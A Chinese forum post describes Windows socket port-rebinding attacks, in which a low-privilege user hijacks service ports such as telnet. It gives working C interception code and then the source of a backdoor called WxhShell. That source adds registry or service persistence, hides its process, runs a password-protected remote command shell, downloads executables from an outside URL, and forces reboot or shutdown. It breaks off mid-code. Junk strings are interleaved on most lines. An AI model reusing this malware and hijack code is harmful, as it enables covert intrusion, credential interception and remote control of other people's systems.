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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~ R*6w($  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \Xkx`C  
i3Ffk+ |b  
  saddr.sin_family = AF_INET; l"cO@.T3  
i "-#1vy=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V K NCK  
.:lzT"QXI  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D<rjxP  
]&9f:5',  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z v~ A9bB  
Ik}*7D  
  这意味着什么?意味着可以进行如下的攻击: O=-|b kO  
T}\U:@b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &O%Kj8)  
;bA9(:?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J%[K;WjrZJ  
WUHx0I  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 DvhK0L*Qr  
kQH!`-n:T  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .<j8>1  
I5bi^!i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -({\eL$n  
95H`-A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $OUa3!U_!  
<&x_e-;b'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 QOP*vH >J  
V)0bLR  
  #include HSUr  
  #include qGh rJ6R!  
  #include @*_K#3  
  #include    g`Rs;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HML6<U-eS  
  int main() 3^fZUldf  
  { !~mN"+u&  
  WORD wVersionRequested; ,:v}gS?Uq  
  DWORD ret; )Z^( +  
  WSADATA wsaData; -9Can4  
  BOOL val; J,q:  
  SOCKADDR_IN saddr; '@:;oe@]  
  SOCKADDR_IN scaddr; [UI bO@e  
  int err; d>aZpJ[.  
  SOCKET s; v\HGL56T  
  SOCKET sc; a v`eA`)S  
  int caddsize; *3k~%RM%?  
  HANDLE mt; 4,aBNuxWd  
  DWORD tid;   =djzE`)0  
  wVersionRequested = MAKEWORD( 2, 2 ); {#;6$dU;(  
  err = WSAStartup( wVersionRequested, &wsaData ); BHK_=2WYz  
  if ( err != 0 ) { vAVoFL  
  printf("error!WSAStartup failed!\n"); GN>T }  
  return -1; jAJkCCG  
  } iD]!PaFD`  
  saddr.sin_family = AF_INET; zO+nEsf^O  
   Z os~1N]3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )WFUAzuN,  
)0%<ZVB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V3m!dp]  
  saddr.sin_port = htons(23); V~+Unn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wWm#[f],?  
  { vx ,yz+yP  
  printf("error!socket failed!\n"); $]T7Iwk  
  return -1; gVD!.  
  } $Z(zO;k.  
  val = TRUE; fDRQ(}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 bk7miRIB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2?"9NQvz  
  { G?"1 z;  
  printf("error!setsockopt failed!\n"); x7*}4>|W,I  
  return -1; \fKv+  
  } SKS[Lf  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $6J5yE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 '2 )d9_ w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 c^=:]^  
>?DrC/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NKMB,b  
  { b"zq3$6*  
  ret=GetLastError(); 9S<W~# zz  
  printf("error!bind failed!\n"); D!-zQ`^  
  return -1; %_ z]iz4  
  } fkI<RgM  
  listen(s,2); Zkz:h7GUG-  
  while(1) K E^_09  
  { I|PiZ1]2 Y  
  caddsize = sizeof(scaddr); svQDSif  
  //接受连接请求 "Fke(?X'  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,wFLOfV@  
  if(sc!=INVALID_SOCKET) 'shOSB  
  { ?Cu$qE!h)[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D ,)~j6OG8  
  if(mt==NULL) BHU[Rz7x  
  { p1&d@PF&&  
  printf("Thread Creat Failed!\n"); "~Eo=R0O  
  break; bcZHFX  
  } <h;P<4JX  
  }  %"z W]  
  CloseHandle(mt); 4dy)g)wM  
  } :wF(([&4p!  
  closesocket(s); Gm|QOuw  
  WSACleanup(); }tJ:-!*2  
  return 0; A1Zu^_y'  
  }   ZWr\v!4  
  DWORD WINAPI ClientThread(LPVOID lpParam) \"lzmxe0p  
  { Z c"]Cv(  
  SOCKET ss = (SOCKET)lpParam; 7_{x '#7  
  SOCKET sc; +FJ o!~1  
  unsigned char buf[4096]; a;lCr|*  
  SOCKADDR_IN saddr; > W0hrt?b  
  long num; ;j(xrPNb  
  DWORD val; f{+8]VA  
  DWORD ret; $Qm;F% >  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =DqGm]tA  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t,H,*2  
  saddr.sin_family = AF_INET; )8vcg{b{d  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m\VJ=  
  saddr.sin_port = htons(23); 3O]e  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N-NwGD{  
  { )HU?7n.{  
  printf("error!socket failed!\n"); ~\Ynih  
  return -1; CtE".UlCA  
  } zL_X?UmV  
  val = 100; Vk-_v5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7IvCMb&%R  
  { yRy9*r=  
  ret = GetLastError(); In 1.R$O  
  return -1; - -]\z*x  
  } ~#-`Qh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5}By2Tx  
  { K@d`jb4T  
  ret = GetLastError(); Ig6s'^  
  return -1; Ge @d"  
  } L72GF5+!!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }%:?s6Ler  
  { hR?rZUl2M  
  printf("error!socket connect failed!\n"); <fyv^e  
  closesocket(sc); mq "p"iI  
  closesocket(ss); A#p@`|H#B  
  return -1; hqE#BnQxP,  
  } ;J`X0Vl$  
  while(1) GnLh qm"\  
  { JlH|=nIaj6  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XM)|v |  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 WTd}) s  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `|v#x@s  
  num = recv(ss,buf,4096,0); &"CS1P|  
  if(num>0) 5 )C~L]  
  send(sc,buf,num,0); TS%cTh'ItH  
  else if(num==0) [Z[)hUXE?  
  break; >,9t<p=Q  
  num = recv(sc,buf,4096,0); >U}~Hv]  
  if(num>0) `C=p7 %  
  send(ss,buf,num,0); m+!%+S1  
  else if(num==0) q`\lvdl  
  break; 8cd,SQ}y  
  } BpK P]V  
  closesocket(ss); 7>4t{aRf_8  
  closesocket(sc); ](W #Tj5-  
  return 0 ; x r=f9?%R  
  } ;3-ssF}k*  
TLkkB09fvk  
LZ@^ A]U  
========================================================== }^iE|YKz  
x,V_P/?%  
下边附上一个代码,,WXhSHELL tF;aB*  
4$;fj1!Z:  
========================================================== g)"6|Z?D"  
 ,cB`j7p(  
#include "stdafx.h" n^A=ar.  
M,[ClQ 9  
#include <stdio.h> dNyc|P`U  
#include <string.h> !7w-?1?D  
#include <windows.h> H11Wb(6Wu  
#include <winsock2.h> !K@y B)9  
#include <winsvc.h> ^8\pJg_0  
#include <urlmon.h> G(4k#jB  
`W/6xm(X5;  
#pragma comment (lib, "Ws2_32.lib") wgufk {:  
#pragma comment (lib, "urlmon.lib") y_nh~&  
6 tzn% ?  
#define MAX_USER   100 // 最大客户端连接数 K;Xn!:) V:  
#define BUF_SOCK   200 // sock buffer BE U[M  
#define KEY_BUFF   255 // 输入 buffer FJD*A`a  
,CdI.kV>o2  
#define REBOOT     0   // 重启 zZy>XHR H  
#define SHUTDOWN   1   // 关机 $~2A o[  
Fb*;5VNU.  
#define DEF_PORT   5000 // 监听端口 2<'gX>TW  
_,'UP>Si  
#define REG_LEN     16   // 注册表键长度 l==T3u r  
#define SVC_LEN     80   // NT服务名长度 IEA[]eik>  
D +oo5  
// 从dll定义API EuAa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6$z UFIk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <&NR3^Eq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZqhINM*Rm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ''(T3;^ +  
0 Hq$h  
// wxhshell配置信息 9 (&!>z  
struct WSCFG { U_J|{*4S.!  
  int ws_port;         // 监听端口 OO@$jXZB  
  char ws_passstr[REG_LEN]; // 口令 VP"L _Um  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7j]@3D9[:p  
  char ws_regname[REG_LEN]; // 注册表键名 {k)MC)%  
  char ws_svcname[REG_LEN]; // 服务名 U9 If%0P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @GEvI2Vf.0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yWs/~5[F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 XR+2|o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9*x9sfCv9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &Y,Rm78  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +yTL  
1-,l|K  
}; ePF9Vzq  
f"-?%I*'  
// default Wxhshell configuration {4Isz-P  
struct WSCFG wscfg={DEF_PORT, SQHV gj  
    "xuhuanlingzhe", g"!B |  
    1, i ^W\YLE  
    "Wxhshell", 4ASc`w*0  
    "Wxhshell", Sz . _XY^  
            "WxhShell Service", -V+fQGZe  
    "Wrsky Windows CmdShell Service", ;<*VwXJR  
    "Please Input Your Password: ", aH~il!K  
  1, vu1:8j  
  "http://www.wrsky.com/wxhshell.exe", Z2ZS5a  
  "Wxhshell.exe" c2i^dNp_  
    }; QTDI^ZeuF  
l>:?U  
// 消息定义模块 "kL5HD]TC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +Gjy%JFp  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &2g1Oy~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D]0#A|n F  
char *msg_ws_ext="\n\rExit."; 7_|zMk.J*  
char *msg_ws_end="\n\rQuit."; \;sUJr"$  
char *msg_ws_boot="\n\rReboot..."; ]_ _M*  
char *msg_ws_poff="\n\rShutdown..."; .z9JoQ  
char *msg_ws_down="\n\rSave to "; #A|M NJ%m  
|5W u0T  
char *msg_ws_err="\n\rErr!"; 5zU D W?  
char *msg_ws_ok="\n\rOK!"; 4u;W1=+Vn  
w ggl,+7  
char ExeFile[MAX_PATH]; 'Kq%t M26!  
int nUser = 0; _LS=O@s^  
HANDLE handles[MAX_USER]; 4}0s^>R  
int OsIsNt; rj6wKf z  
0)nU[CY  
SERVICE_STATUS       serviceStatus; J"z8olV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3}sd%vCK  
^,rbA>/L  
// 函数声明 m!PN1$9V  
int Install(void); |+[ bKqI5  
int Uninstall(void); 5bAy@n  
int DownloadFile(char *sURL, SOCKET wsh); m=#2u4H4  
int Boot(int flag); ptsi\ 7BG  
void HideProc(void); oZIoY*7IrQ  
int GetOsVer(void); 9SU;c l  
int Wxhshell(SOCKET wsl); .qHgQ_%  
void TalkWithClient(void *cs); !]"T`^5,Y  
int CmdShell(SOCKET sock); cLXMq"?C  
int StartFromService(void); uYs+x X_  
int StartWxhshell(LPSTR lpCmdLine); }6o` in>M  
%II |;<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Mbi)mybM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lT%o6qgT  
BO1Mz=q  
// 数据结构和表定义 bclA+!1  
SERVICE_TABLE_ENTRY DispatchTable[] = z7GLpTa  
{ DQE.;0ld  
{wscfg.ws_svcname, NTServiceMain}, -m-~  
{NULL, NULL} {5RM)J1  
}; a|OX4  
1|Fukx<@J<  
// 自我安装 No h*1u*  
int Install(void) h<}4mo_ $  
{ ^c/.D*J[I  
  char svExeFile[MAX_PATH]; [rf.P'p%  
  HKEY key; {>syZZ,h  
  strcpy(svExeFile,ExeFile); z S^:Ng5  
K)&AR*Tc  
// 如果是win9x系统,修改注册表设为自启动 h>fY'r)DAx  
if(!OsIsNt) { O8M;q!)y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eE7+fMP{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j]jwQRe  
  RegCloseKey(key); 5Zh /D0!|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )K%AbKn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $L3UDX+F  
  RegCloseKey(key); k/*r2 C  
  return 0; g<tr |n  
    } Y>IEB,w  
  } jy6% CSWQ  
} \# #~Tq  
else { eM{+R^8  
@C?RbTHy  
// 如果是NT以上系统,安装为系统服务 /5SBLp}Sy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mgg/i@(  
if (schSCManager!=0) 0*+i~g,Kl@  
{ g_-Y- .M  
  SC_HANDLE schService = CreateService -MeGJX:^I  
  ( {Z$Aw4a"d  
  schSCManager, dMYDB  
  wscfg.ws_svcname, -cOLg rmp  
  wscfg.ws_svcdisp, A5z5e# ,u  
  SERVICE_ALL_ACCESS, N U\B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , rZ *}jD[  
  SERVICE_AUTO_START, Z}WMpp^r  
  SERVICE_ERROR_NORMAL, )$Mgp *?  
  svExeFile, Ia[e 7  
  NULL, 1_f(;WOg  
  NULL, >12phLu  
  NULL, qWy(f|:hYi  
  NULL, )]?sCNb  
  NULL 6 fL=2a  
  ); )%gi gQZ+  
  if (schService!=0) /u5MAl.<[  
  { K oo%mr   
  CloseServiceHandle(schService); `cCsJm$V"  
  CloseServiceHandle(schSCManager); ([^1gG+>J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZI}7#K<9X  
  strcat(svExeFile,wscfg.ws_svcname); e'p'{]r<w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l7nc8K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `gx_+m^  
  RegCloseKey(key); F0qGkMs|f  
  return 0; r 1nl!  
    } [a`89'"z  
  } 1o V\QK&  
  CloseServiceHandle(schSCManager); 7"FsW3an  
} =:uK$>[  
} X=8y$Yy  
n~@;[=o?5  
return 1; 5PqL#Eu`!  
} I^emH+!MW  
I& DEF*  
// 自我卸载 [}|x@ v9  
int Uninstall(void) !Qy%sY  
{ nd}[X[ay  
  HKEY key; w9G (^jS6  
uD}Q}]Z  
if(!OsIsNt) { f,9/Yg_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y({&} \o  
  RegDeleteValue(key,wscfg.ws_regname); [vrM,?X  
  RegCloseKey(key); (_ HwU/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B<%cqz@  
  RegDeleteValue(key,wscfg.ws_regname); &@<Z7))  
  RegCloseKey(key); Y23- Im  
  return 0;  ltK\ )L  
  } yS'W ss  
} @y ] ek/  
} P{-j ^'y  
else { IOhJL'r  
{<+B>6^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I&vD >a5#  
if (schSCManager!=0) D<U^FT  
{ ?71?Vd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T+1:[bqK  
  if (schService!=0) =HapCmrx8  
  { RUco3fZ   
  if(DeleteService(schService)!=0) { w`KqB(36  
  CloseServiceHandle(schService); 1 etl:gcEC  
  CloseServiceHandle(schSCManager); JbX"K< nQ  
  return 0; M~+}ss  
  } &rs   
  CloseServiceHandle(schService); Is&0h|  
  } aG_@--=  
  CloseServiceHandle(schSCManager); ~?#>QN\\c  
} X(_xOU)V  
} ``mnk>/  
/~~A2.=.  
return 1; 7XzhKA6  
} H1Jk_@b  
Y=83r]%  
// 从指定url下载文件 # RoJD:9  
int DownloadFile(char *sURL, SOCKET wsh) G.")Bg  
{ Y8v13"P6  
  HRESULT hr; \3"jW1Wb  
char seps[]= "/"; wE3L,yx=  
char *token; ~F"<Nq  
char *file; (1IYOlG4  
char myURL[MAX_PATH]; %plu]^Vy  
char myFILE[MAX_PATH]; U1ZKJ<pv  
`uP:UQ9S  
strcpy(myURL,sURL); Yyxsj9  
  token=strtok(myURL,seps); yE&WGpT  
  while(token!=NULL) & zR\Rmpt  
  { 2t7P| b~V1  
    file=token; dl]pdg<  
  token=strtok(NULL,seps); 9\'JtZO  
  } m>{a<N  
T095]*Hm  
GetCurrentDirectory(MAX_PATH,myFILE); gc\/A\F<  
strcat(myFILE, "\\"); <78*-Ob  
strcat(myFILE, file); bey:Qj??  
  send(wsh,myFILE,strlen(myFILE),0); %*zV&H   
send(wsh,"...",3,0); r.q*S4IS.m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $d-$dM?R5  
  if(hr==S_OK) 4^Ss\$*  
return 0; 1=Kt.tuf  
else ^IgQI N  
return 1; "T$LJ1E  
b>-h4{B[  
} iE EP~  
t`1M}}.  
// 系统电源模块 #iKPp0`K*  
int Boot(int flag) ExhK\J  
{ g`z;:ao  
  HANDLE hToken; E~@&&d U8  
  TOKEN_PRIVILEGES tkp; ' 7Mz]@  
`?{6L#  
  if(OsIsNt) { q`'m:{8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cQkj{u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )K8 ^}L,  
    tkp.PrivilegeCount = 1; +Wl]1 c/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uO>x"D5tZ:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /Y=_EOS  
if(flag==REBOOT) { s3Wjhw/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j0=F__H#@  
  return 0; 9u)p9)^-.v  
} Lv?jg ?$  
else { Y qmsL<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) We++DWp  
  return 0; 1N_T/I8_F  
} O>N/6Z  
  } {)iiu  
  else { 3:O|p[2)L  
if(flag==REBOOT) {  aGOS 9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PR/>E60H  
  return 0; Q<NQ9lX  
} ]4ck)zlv   
else { kbL7Xjk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) deQ {  
  return 0; 7+8 8o:G9  
} {Q>4zepN!  
} >k ==7#P  
cTz@ga;!mI  
return 1; yEMM@5W)8  
} ^*YoNd_kpN  
LF `]=.Q  
// win9x进程隐藏模块 JMk2OK {0  
void HideProc(void) 8[.&ca/[  
{ }3, 4B -8!  
S\]9mHJI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .820~b0  
  if ( hKernel != NULL ) tU$n3Bg  
  { *<:6A&'D9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /0cm7[a?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zB`J+r;LU  
    FreeLibrary(hKernel); pP#D*hiP-g  
  } /Xj{]i3{  
}.(DQwC}1k  
return; z;?ztpa@  
} CDF;cM"td  
,{\Ae"{6  
// 获取操作系统版本 aS[y\9(**  
int GetOsVer(void) ck%.D%=  
{ =`*@OJHH  
  OSVERSIONINFO winfo; >0[:uu,'>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,cxe"U  
  GetVersionEx(&winfo); giH#t< )W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <2oMk#Ng^  
  return 1; & kVa*O  
  else Qn|8Ic` *  
  return 0; ~Ad2L*5S  
} !4`:(G59  
}z#M!~  
// 客户端句柄模块 Q>$lf.)  
int Wxhshell(SOCKET wsl) 1ni72iz\  
{ urE7ZKdI  
  SOCKET wsh; H5#]MOAP  
  struct sockaddr_in client; R|^bZf^  
  DWORD myID; 8KN 3|)  
#'},/Lm@  
  while(nUser<MAX_USER) qO38vY){  
{ 1JU je  
  int nSize=sizeof(client); S>b 3_D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |QF_E4ISD  
  if(wsh==INVALID_SOCKET) return 1; q"@ #FS  
B|V!=r1%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  j'Jb+@W?  
if(handles[nUser]==0) J+Fev.9>  
  closesocket(wsh); kGs\"zZM  
else N@O e[X8  
  nUser++; <7>1Z 82)  
  } Yyar{$he  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~(^pGL3<  
6;\1bP?  
  return 0;  0Gc:+c7{  
} YM#MfL#  
wfe4b  
// 关闭 socket w N`Nj m9!  
void CloseIt(SOCKET wsh) FfxD=\  
{ 5!S#}=f=  
closesocket(wsh); gvc/Z <Y  
nUser--; +}1zw<  
ExitThread(0); mI{Fs|9h  
} 2z" <m2 a  
q5S_B]|  
// 客户端请求句柄 { `Z~T&}~T  
void TalkWithClient(void *cs) <"6\\#}VG  
{ [3qH? 2&  
b{,v?7^4  
  SOCKET wsh=(SOCKET)cs; w&T\8k=  
  char pwd[SVC_LEN]; q9p31b3  
  char cmd[KEY_BUFF]; TBrw ir  
char chr[1]; YlUh|sK7m  
int i,j; !q,7@W3i  
j24DL+  
  while (nUser < MAX_USER) { LLT6*up$  
!'rdHSy  
if(wscfg.ws_passstr) { s3m \  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |c8\alw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +c!HXX  
  //ZeroMemory(pwd,KEY_BUFF); SPRTJdaC9  
      i=0; L C##em=Y  
  while(i<SVC_LEN) { J)y g<*/3  
rNJU & .]  
  // 设置超时 o~e_M-  
  fd_set FdRead; ]T|$nwQ  
  struct timeval TimeOut; fMUh\u3  
  FD_ZERO(&FdRead); #"~\/sb   
  FD_SET(wsh,&FdRead); $Zo|t a^  
  TimeOut.tv_sec=8; ;]0d{  
  TimeOut.tv_usec=0; pnE]B0e  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M ;b3- i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); JFO,Q -y\  
N%>h>HJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t_xK?``  
  pwd=chr[0]; />}zB![(K  
  if(chr[0]==0xd || chr[0]==0xa) { /n(0w`   
  pwd=0; `p9N| V  
  break; Dn J `]r  
  } l'_]0%o]  
  i++; IDJ2epW*;  
    } ^X+qut+~  
4)OOj14-V  
  // 如果是非法用户,关闭 socket !wQ?+ :6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Al6%RFt  
} VD@$y^!H  
<uS/8MP{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3Mm_xYDud  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0SWqC@AR%  
G/FDD{y  
while(1) { uq-`1m }  
jSHFY]2  
  ZeroMemory(cmd,KEY_BUFF); 6;:D!},'c  
.%7Le|Fb"  
      // 自动支持客户端 telnet标准   g(X `.0  
  j=0; QICxSk  
  while(j<KEY_BUFF) { CmbgEGIh[a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H"^9g3 U  
  cmd[j]=chr[0]; 'h0>]A 2|X  
  if(chr[0]==0xa || chr[0]==0xd) { *yw!Y{e!9  
  cmd[j]=0; U ^GVz%\  
  break; z8'zH>  
  } d>mZY66P  
  j++; o+x! (  
    } svDnw cl  
"OYD9Q''  
  // 下载文件 YaSBIq{z  
  if(strstr(cmd,"http://")) { bo90;7EK8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >g>r_0.  
  if(DownloadFile(cmd,wsh)) GRYw_}Aa  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w{dRf!b69  
  else M&hNkJK*G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'R'hRMD9o  
  } O9d"Z$~n=j  
  else { <`=Kt[_BQ  
VVAcbAGJ  
    switch(cmd[0]) { HBvyX`-  
  =v::N\&  
  // 帮助 .TdFI"Yn  
  case '?': { ezL1,GT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &dWGa+e  
    break; @$^4Av-  
  } $.$nv~f  
  // 安装 5EVypw?]x  
  case 'i': { hZ>m:es  
    if(Install()) YJHb\Cf.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Rfe*oAf  
    else 6@/k|t>OT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7- LjBlH  
    break; MG.c`t/w  
    } l#T %N@X  
  // 卸载 psmDGSm,&  
  case 'r': { ]o"E 4Vht  
    if(Uninstall()) X[tB^`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #[x*0K-h  
    else 0{ B<A^Bf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v'?o#_La+  
    break; U7jDm>I  
    } ]nebL{}5  
  // 显示 wxhshell 所在路径 }T\.;$f  
  case 'p': { 5vR])T/S0  
    char svExeFile[MAX_PATH]; z&9MkbH1  
    strcpy(svExeFile,"\n\r"); O.QR1  
      strcat(svExeFile,ExeFile); `W@jo~ y<  
        send(wsh,svExeFile,strlen(svExeFile),0); DjN1EP\Xx  
    break; M\k[?i  
    } u&S0  
  // 重启 G;vj3#u?  
  case 'b': { y0T#Qq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tw<Oy^ i  
    if(Boot(REBOOT)) ak_y:O|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O%>*=h`P  
    else { ge?or]T1S  
    closesocket(wsh); i?M-~EKu  
    ExitThread(0); n.'Ps+G(  
    } fa/o4S<  
    break; ^{=UKf{  
    } EZ"i0u  
  // 关机 .),9q z`  
